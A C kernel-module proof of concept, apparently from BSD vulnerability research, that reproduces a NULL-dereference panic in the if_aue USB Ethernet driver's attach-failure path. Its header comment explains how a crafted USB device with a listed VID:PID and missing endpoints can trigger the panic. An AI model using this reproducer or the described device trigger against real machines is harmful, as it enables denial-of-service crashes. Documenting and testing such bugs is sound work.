/*
 * DF-5384 PoC harness — if_aue.c attach-failure DF-5334-class panic.
 *
 * Target: sys/bus/u4b/net/if_aue.c aue_attach() failure branch:
 *
 *   686:   error = usbd_transfer_setup(uaa->device, &iface_index,
 *   687:       sc->sc_xfer, aue_config, AUE_N_TRANSFER, sc, &sc->sc_lock);
 *   688:   if (error) {
 *   689:       device_printf(dev, "allocating USB transfers failed\n");
 *   690:       goto detach;
 *   691:   }
 *   ...
 *   707: detach:
 *   708:   aue_detach(dev);
 *
 * aue_detach() (if_aue.c:712-723) then runs, in order:
 *
 *   718:   usbd_transfer_unsetup(sc->sc_xfer, AUE_N_TRANSFER);
 *   719:   uether_ifdetach(ue);
 *
 * but at this point ue->ue_lock / ue_dev / ue_udev / ue_methods / ue_tq are
 * still ALL ZERO (they are assigned only at if_aue.c:694-698, AFTER the
 * failing usbd_transfer_setup()).  uether_ifdetach()
 * (sys/bus/u4b/net/usb_ethernet.c:267-305):
 *
 *   273:   usb_proc_drain(&ue->ue_tq);        <- no-op, up_lock == NULL
 *   276:   ifp = uether_getifp(ue);           <- embedded arpcom ifnet, NEVER NULL
 *   278:   if (ifp != NULL) {                 <- dead guard, always true
 *   281:       UE_LOCK(ue);                   <- lockmgr(NULL, LK_EXCLUSIVE)
 *                                              ==> Fatal trap 12, fault VA 0x0
 *
 * The trigger is fully device-controlled: any USB device presenting one of
 * the 68 VID:PID pairs in aue_devs[] (e.g. ADMtek Pegasus 0x077b:0x2226) at
 * config index 0 / iface 0 but WITHOUT a bulk-in/out + interrupt-in endpoint
 * set makes usbd_transfer_setup() fail with USB_ERR_NO_ENDPOINT.
 *
 * This KLD replays aue_detach() verbatim on that exact post-failure state
 * using the production usbd_transfer_unsetup() and uether_ifdetach()
 * (exported by uether.ko).  The only non-production code is the static
 * aue_attach()/aue_detach() plumbing itself (they are static in if_aue.c,
 * unreachable without a physical Pegasus; the failure branch reaches them
 * through a plain goto).
 */

#include <sys/stdint.h>
#include <sys/param.h>
#include <sys/queue.h>
#include <sys/types.h>
#include <sys/systm.h>
#include <sys/socket.h>
#include <sys/kernel.h>
#include <sys/bus.h>
#include <sys/module.h>
#include <sys/lock.h>
#include <sys/condvar.h>
#include <sys/sysctl.h>
#include <sys/unistd.h>
#include <sys/callout.h>
#include <sys/malloc.h>
#include <sys/caps.h>

#include <net/if.h>
#include <net/if_var.h>

#include <bus/u4b/usb.h>
#include <bus/u4b/usbdi.h>
#include <bus/u4b/usb_process.h>

#include <bus/u4b/net/usb_ethernet.h>
#include <bus/u4b/net/if_auereg.h>

static int
aue_poc_modevent(module_t mod, int type, void *arg)
{
	struct aue_softc *sc;

	switch (type) {
	case MOD_LOAD:
		kprintf("aue_poc: constructing post-'allocating USB transfers "
		    "failed' state (if_aue.c:683-691)\n");
		sc = kmalloc(sizeof(*sc), M_TEMP, M_WAITOK | M_ZERO);
		if (sc == NULL)
			return (ENOMEM);
		/* if_aue.c:683: the only softc field initialised before the
		 * failing usbd_transfer_setup() at if_aue.c:686 */
		lockinit(&sc->sc_lock, "aue_poc", 0, LK_CANRECURSE);
		kprintf("aue_poc: state check: ue_lock=%p ue_dev=%p "
		    "ue_udev=%p ue_tq.up_lock=%p (all must be 0/NULL)\n",
		    sc->sc_ue.ue_lock, (void *)sc->sc_ue.ue_dev,
		    sc->sc_ue.ue_udev, sc->sc_ue.ue_tq.up_lock);
		kprintf("aue_poc: entering aue_detach() replay: "
		    "usbd_transfer_unsetup() + uether_ifdetach() "
		    "(if_aue.c:718-719)\n");

		/* if_aue.c:718 — production code, zeroed xfer array == branch-1 */
		usbd_transfer_unsetup(sc->sc_xfer, AUE_N_TRANSFER);

		/* if_aue.c:719 -> uether_ifdetach() -> UE_LOCK(ue) ->
		 * lockmgr(NULL, LK_EXCLUSIVE) -> Fatal trap 12, VA 0x0 */
		uether_ifdetach(&sc->sc_ue);

		kprintf("aue_poc: SURVIVED uether_ifdetach() (UNEXPECTED — "
		    "guard present?)\n");
		lockuninit(&sc->sc_lock);
		kfree(sc, M_TEMP);
		return (0);
	default:
		return (0);
	}
}

static moduledata_t aue_poc_mod = { "aue_poc", aue_poc_modevent, NULL };
DECLARE_MODULE(aue_poc, aue_poc_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_DEPEND(aue_poc, uether, 1, 1, 1);